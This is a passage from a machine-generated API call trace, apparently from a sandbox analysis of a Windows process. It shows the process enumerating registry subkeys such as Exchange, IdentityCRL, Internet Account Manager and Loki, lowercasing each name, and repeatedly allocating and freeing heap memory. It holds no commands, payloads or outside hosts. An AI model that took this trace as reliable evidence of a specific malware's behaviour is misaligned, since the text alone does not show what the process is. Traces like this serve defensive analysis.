lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x28c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.887] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x28b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0252.887] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.888] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0252.888] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.888] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.888] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.888] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x28b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0252.925] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.925] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x28c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0252.925] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.925] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.925] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.925] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.925] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x28b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0252.925] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x28b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x28c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x28b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x28b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x28c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.926] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.926] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x28b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0252.926] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x28c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x28b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x28c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x28b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x28b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x28c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.927] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x28b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x28c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0252.927] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.927] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x28b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x28c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x28b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x28c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x28b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x28c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x28b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x28c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.928] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.928] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x28b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0252.928] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x28c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x28b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x28c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x28b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x28c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x28b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x28c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.929] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.929] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x28b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x28c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0252.929] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.930] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.930] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.930] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.930] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x28b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0252.930] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0252.930] RtlAllocateHeap 